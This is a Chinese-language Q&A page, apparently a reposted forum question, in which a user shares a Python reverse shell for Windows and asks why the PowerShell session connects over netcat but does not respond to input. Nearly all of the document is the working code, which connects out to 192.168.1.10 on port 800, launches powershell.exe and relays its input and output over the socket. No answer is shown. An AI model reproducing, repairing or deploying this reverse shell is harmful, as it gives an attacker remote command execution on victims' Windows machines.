Windows Python反向Shell,连接但不交互

2024-04-20 06:23:14 发布

您现在位置:Python中文网/ 问答频道 /正文

我有一个适用于windows的Python反向shell,但是,当我使用nc连接到传入的连接时,它成功地连接了。在

虽然,我无法与远程powershell会话交互,但我有什么错。 谢谢

import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.10",800))

p=subprocess.Popen(["\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

Tags: truedatawindowsdefstdinstdoutsocketthread